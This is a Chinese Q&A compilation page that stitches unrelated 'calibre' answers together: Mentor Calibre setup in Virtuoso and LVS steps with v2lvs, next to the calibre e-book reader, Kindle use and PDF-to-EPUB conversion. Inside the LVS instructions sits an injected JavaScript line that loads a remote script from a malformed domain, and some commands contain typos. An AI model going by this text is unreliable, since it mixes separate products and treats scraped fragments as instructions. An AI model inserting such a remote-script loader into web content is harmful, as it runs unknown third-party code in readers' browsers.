calibre编译环境

① 如何集成calibre到cadence virtuoso环境中

在.cdsinit文件中，加入调用calibre的skill语句就好了。

skillPath=getSkillPath();
setSkillPath(append(skillPath list("/calibre_path/lib")));
load("calibre.skl");

Load Calibre Menu in Virtuoso

Add one of the following lines to the default Cadence startup file (.cdsinit), depending on your installation:

• Standard installation (Virtuoso 5.x and earlier)
load( strcat( getShellEnvVar("CALIBRE_HOME")"/shared/pkgs/icv/tools/queryskl/calibre.skl" ))

• OpenAccess installation (Virtuoso 6.x and later)
load( strcat( getShellEnvVar("CALIBRE_HOME")"/shared/pkgs/icv/tools/queryskl/calibre.OA.skl" ))

For more information see the Calibre Interactive and Calibre RVE User's Manual under
Interfacing With Layout and Schematic Viewers>Cadence Virtuoso>Creating an Interface to Cadence Virtuoso

② 用calibre进行LVS，步骤是怎样的

Calibre环境做LVS步骤（后面附注意事项，供参考）
1、LVS数据准备
在Astro中完成芯片后提取.fv文件及.gds文件，这两个文件是做LVS必备的。.v文件用来生成在LVS过程中用来和Layout进行比对的.spi文件，而.gds文件用来读入calibre得到Layout。 2、将.gds文件读入calibre 具体步骤省略。 3、生成.spi文件
.spi文件是由.v和一些.cdl、.spi文件一同生成的。
生成.spi文件有一个脚本，以SMIC18 工艺xxx目录为例： v2lvs \
-lsp xxx/smic18.cdl \ -lsp xxx/POR.cdl \
-lsp xxx/RAM256X8.cdl \ -lsp xxx/SP018W.sp \ -s xxx/smic18.cdl \ -s xxx/POR.cdl \
-s xxx/RAM256X8.cdl \ -s xxx/SP018W.sp \ -s0 VSS \ -s1 VDD \
-v $topCell.v \ -o $topCell.spi
格式是固定的，-lsp后面列出你所要做LVS的芯片用到的IP的.spi（.sp）文件，rom、ram、stdcell是.cdl文件。-s后面再把-lsp列出的文件重复一遍。-s0和-s1不变，-v后面写你要进行转换的.fv文件，-o后面写你要输出的.spi文件。
文件写好后，在文件所在目录直接键入文件名，文件即开始自动执行。执行后若无warning和error即可。
icc中提取出来的.v文件需要有phsical only的器件，但是不需要corner和filler pad，pcut和power IO必须加进去。还有一些格式要求，需要使用如下选项：
wirte_verilog –diode_ports –split_bus –no_pad_filler –no_corner_filler_cells -pg这些信息加好后，再进行上面转换.spi文件的步骤。 4、完善layout和.spi文件
在smic工艺下： （1）、layout完善
此时要先检查pad上面的text是否打好。之后要把FP打上。关于FP，以下是从smic的IO文档中找到的解释：
FP stands for ‘From Power Pad’ and FP pin is for global signal. Under normal condition, FP is activated by PVDD2W of Standard I/O library SP018W to ‘HIGH’ (3.3V). FP rail will be automatically connected while joining with other digital I/O cells.
打TEXT的时候要打FP，但是注意：只有digital pad有FP。 （2）、.spi完善
var script = document.createElement('script'); script.src = 'http://static.pay..com/resource/chuan/ns.js'; document.body.appendChild(script);

在.spi文件中要加入pcut的连接关系，即VSS1=…，VSS2=…。VSS1和VSS2是pcut的port名字，…处你要写他们和什么相连。
另外，一些打了字的pad也要写清楚它的连接关系，如VSSD=VSSD_pad，等号前面是pad出的port，等号后面写pad上打的text。
另外，在.spi文件中的出现的变量名，要写在.GLOBAL后面，否则LVS的时候会报错。如果有连接关系要注明，则在.spi文件后面写*.CONNECT后面写明两个要连接的名字就可以了。 5、进行LVS
所有准备工作都做完了，开始LVS。 启动calibre，选nmLVS，出现LVS界面。选左边一栏的Rules，在Calibre Rules File中填入LVS的rule。一般我们在做LVS的时候，会先把rom，ram，analog等IP部分box起来不查，先让其他部分的LVS通过了，再查整体的LVS。因此这个rule可以自己加一些box，格式是LVS BOX instance name。
在左边一栏中选Inputs，Layout一栏不动，选Netlist，在Files处填入你修改好了的.spi文件。之后在上面一条菜单中选Setup>LVS Options，选Connect中的Connect nets with colon (:)。选好后，点左侧的Run LVS，则LVS过程就开始了。
运行完后，如果没有问题，则你会看到绿色的笑脸，如果有问题，则要进行分析，修改.spi或者layout来通过LVS。

补充资料：
Useful Abbreviations
SVRF——Standard Verification Rule Format Mentor Rule
RVE——Results Viewing Environment 显示环境
SVDB——Standard Verification Rule Database （LVS results）
在LVS rule中写上这句话，LVS会产生一个SVDB的文件夹存放一些中间结果文件。
ERC——Electrical Rule Verification PEX——Parasitic Ectraction
MDP——Mask Data Preparation 是foundary做的mask的ORC检查。（ORC：optical rules checking 光学规则校验）
TVF——Tcl Verification Format 65nm以下的rule file格式，SVRF很难cover所有的corner所以有TVF
Connect nets with colon (:) 虚拟连接，例如A:1和A:2将被认为是一条net
有时候smic18工艺中，ram,rom的LVS netlist文件.cdl是由dataprepare生成的，但是要把文件中N,P后面加上18变成N18和P18（必须保证stdcell和其rule的命名相匹配才可以）还有要把文件中DN改为NDIO18。
在.v转换成.spi文件的过程中，会在instance前面加X。当有IP Merge时，一些IP的PIN、PORT都要当作BOX注释掉，否则在LVS中会报错。

③ calibre自带阅读器看书的底色可以调吗

在calibre自带阅读器的左侧边有个首选项按钮，点击后选择“user stylesheet”标签页，然后在下面的输入框内写"body {background: #00FF00}"点保存就行了，其中的#00FF00就是你想要的背景颜色，可以用火狐的rainbow插件或者其他途径比如Photoshop来获得这个颜色值。

④ calibre 环境变量设置问题

您好，我也遇到类似的问题，您解决了没

⑤ 请教calibre环境变量设置问题

bash的， 不用setenv，用export的。

“
export LM...=......
export MGC...
export PATH...
”

⑥ linux下怎样应用软件Calibre的介绍

目前，Calibre工具已经被众多设计公司、单元库和IP开发商、晶圆代工厂采用为深次微米集成电路的实体验证工具。Calibre具有先进的分层次处理功能，是唯一能在提高验证速率的同时，可最佳化重复设计层次化的实体验证工具。
Calibre DRC用于版图的设计规则检查，具有高效能、高容量和高精密度，还具有足够的弹性，即便是系统芯片包含有设计方法差异极大的模拟与数字电路，也可以方便地进行验证。具体表现在以下几个方面：
(1) 检查内容丰富准确：既包括简单的DRC规则检查，如宽度、间距、包含关系等的检查，又包括一些复杂的DRC检查，如天线规则、电流流向规则和导线密度规则等。本公司所设计SoC为数字模拟混合电路，采用Calibre DRC除进行了宽度、间距、包含关系等简单的DRC检查外，也进行了一些复杂的DRC检查。其结果得到了台积电等晶圆厂的认可。
(2) 档执行方式可选：执行DRC档时，可以采用命令行的方式，也可以采用图形接口方式，Calibre Interactive-DRC是Mentor Graphics公司推出的Calibre实体验证的新版本(Calibre Interactive)，它已作为Cadence Design Systems公司全定制设计环境Virtuoso的插件。现在，Virtuoso的用户能够直接从Virtuoso中调用Calibre Interactive进行工作。对于规模较小的版图应用Interactive非常方便而且直观的图形化接口便于初学者使用。在我们的计划开发过程中，同时用到了这两种方式。对于全定制版图，经常要选用图形接口工具Calibre Interactive-DRC，对于自动布局布线出来的SoC版图，我们采用了命令行的形式，可以快速地得到DRC检查报告。
(3) 结果浏览快捷方便：透过Calibre RVE(Results Viewing Environment，验证结果视图环境)和版图编辑器分析DRC的结果进行查错，准确快捷，一目了然。RVE可以指出错误类型和数目，使用Highlight命令可以直接标明版图中的出错地方(图2)，可以很方便地修正版图中的错误。无论是规模不大的模拟电路，还是大规模的SoC电路，其DRC检查都可以透过启动RVE，对照版图和分析DRC结果档，可以快速修改错误或进行最佳化。
RVE能够同常见的版图环境实现自动整合，这些版图环境包括：Mentor Graphics的Calibre DESIGNrev和IC Station以及Cadence的Virtuoso和Seiko，Avant!的Apollo和Enterprise等工具。在我们的设计中使用的是Virtuoso。
(4) 多执行绪能力：Calibre的多执行绪技术(CalibreMT)提供多CPU环境下的杰出性能。Calibre几何划分版图层次化使之成为上千个独立的'执行绪'支持多处理器工作站或者服务器应用，每一个执行绪可以在独立的处理器上执行，这样的结构对性能的提高是巨大的。简单的'turbo'命令行选项就可以实现高性能的CalibreMT的调用，而不需要任何辅助文件或者设置约束信息的支撑。CalibreMT支持多CPU高度灵活的结构并且不会导致RAM的大量增加。
Calibre LVS简介
Calibre LVS是一个出色的版图与线路图对比检查工具，具有高效率、高准确度和大容量等优点。Calibre LVS不仅可以对所有的'组件'进行验证，而且还能在不影响性能的条件下，处理无效数据。主要表现在以下几个方面：
(1) 执行模式快捷方便：Calibre LVS有两种执行模式，即命令行模式和接口模式(Calibre Interactive-LVS)。采用命令行模式可以快速输入控制命令，快速执行，其结果精确稳定。Calibre Interactive-LVS能够自动选择验证正被编辑的单元，并且能够选择所有的Calibre执行时间选项以及标准文件的规格。该验证技术，允许用户选择特定标准文件以及独立规则和规则组的任何子集。GUI可控制普通使用的LVS选项，并记录执行设置过程。当采用修改控制或冻结标准档时，它可将执行配置数据传给Calibre。其接口友好，使用方便。我们在做LVS过程中，对于规模较小的模拟电路和数字模拟混合电路，一般采用方便的图形接口模式(Calibre
Interactive-LVS)进行对比检查，这样可以在启动RVE后，对照LVS结果文件和版图，将电路(或者网表)和版图直接对应起来检查，非常方便；对于大规模的SoC电路，由于命令行方式输入简单直接，执行速度更快，执行结果稳定精确，这次就采用了命令行方式来执行LVS，获得了极大的成功。
(2) 多种比较方式可选：Calibre LVS可以进行版图与电路图(layout vs shematic)和网表与网表(netlist vs netlist)的方式对比检查，还可以单独从版图撷取网表。而且，透过v2lvs命令，可以将自动布局布线所产生的verilog网表转换成spice网表，然后与自动布局布线的版图进行对比，作业简单方便，结果精确。由此可见，可以根据不同需要，在LVS验证过程的不同阶段，灵活地选择比较方式，以获得最有效的执行和最佳的结果。
(3) 侦错方便快捷：当执行完LVS后，Calibre LVS会产生一个结果报告，明确指出出错类型和数目，并且可以对层次化中的每个模块都有一个完整的LVS报告，简单明了。这个报告还能明确指出短路(特别是电源和地短路的情况)、开路、浮空或孤立的nets、pin swapping以及软连接等问题。Calibre LVS还能产生一个详细的结果数据库，其中包括原理图网表、从版图抽取的网表、结果报告、版图中的组件及连接关系等。这样透过RVE来读取这些数据，就可以在版图和网表中准确地Highlight有错误的地方(图1)。
由此可见，Calibre LVS所产生的结果文件结构清晰，又可以透过RVE来准确定位，能有效地帮助用户快速地消除错误以降低设计风险，这在我们计划的开发过程中得到了完全的体现。由于时间紧迫，致使后端设计时间相当紧张，正是Calibre LVS能准确无误、快速地查出短路、开路、浮空或孤立的网络、接脚、软连接等问题，还能很好地识别晶体管、闸级电路和模块级电路，才使得我们按时地完成了百万闸级的信息安全SoC的设计。
在反复使用Calibre LVS的图形接口的执行方式和命令行方式过程中，发现Calibre LVS图形接口的执行方式方便快捷，但是其稳定性不如命令行方式好，若能加以改进，则能进一步提高验证精准度。

总结：Calibre工具作为ASIC特别是SoC的实体验证工具，正成为设计公司的设计与半导体制造公司交接的标准框架。Calibre DRC和Calibre LVS使用方式灵活快捷，验证准确精密度高，结果浏览一目了然；加上Mentor Graphics公司能及时提供高水平的技术支持，因而可以快速地消除错误，降低设计成本，减少设计失败的风险。

⑦ kindle 如何使用

1、启动Kindl，通过移动Kindle背面的底部，找到Kindle的开关按钮，可以进行开和关操作。

⑧ 如何把pdf转成epub格式 pdf转epub转换器

工具：Calibre软件、希望作格式转换的mobi（或者pdf）文档等
步骤：
1、如果还没有calibre软件，那么需要到其官方网站上找和自己电脑操作系统相对应的Calibre版本，下载并安装。图中我们也看到了，Calibre不仅支持windows，OS
X，还支持Linux等系统。
2、启动Calibre。我这里下载的是英文版的，但除了字体之外，操作上都是一样的，咱们将就着看图说话吧；
3、直接点击软件界面左上角的红色十字图标【Add
books/添加书籍】，并在弹出的对话框中选择所要的书籍，按【Open】添加；
3、添加了书籍之后，我们可以在软件界面的左和右边看到对概书籍的相关概述。选中要格式转换的书本（被选中的书籍名字会高亮显示），注意，这里你也可以一次性选择多本。我这只以一本为例子。选好之后点击菜单栏上【Convert
books】选项。
4、界面的左上角显示输入的书籍格式，右上角显示你要转换输出的格式，我们可以在【Output】这里按照自己的意愿选择转换输出的格式，我这选epub，点【OK】，Calibre就会自动开始格式转换了；
5、如果想查看格式转换的进度，可以点击软件界面右下角的“Jobs”任务区域。
6、格式转换完成之后，回到Calibre主界面上选中转换了格式的书本，按鼠标【右键】然后选择”Save
only
EPUB
to
disk“（如果你不是转成epub，形式也类似“Save
only
**
to
disk”），在弹出的对话框中选择保存的路径，这样便能把epub格式保存到硬盘下了。
7、成功保存之后进入保存的路径下找到转换了格式的书籍.epub
注意事项：
在【Add
books/添加书籍】，添加单本书籍只需直接点击该选项，如果要添加整个目录下的书籍，可以点击旁边的小三角形来选择。
calibre可以作多种格式的互转，注意是互转，这里只是以比较常见的mobi转epub为例子。
其他格式（如pdf）的文件操作也是类似的
Calibre有时候转换后的格式和原文档相比会略有逊色，也并不是十分完美，这点在有些pdf文档转换上会出现。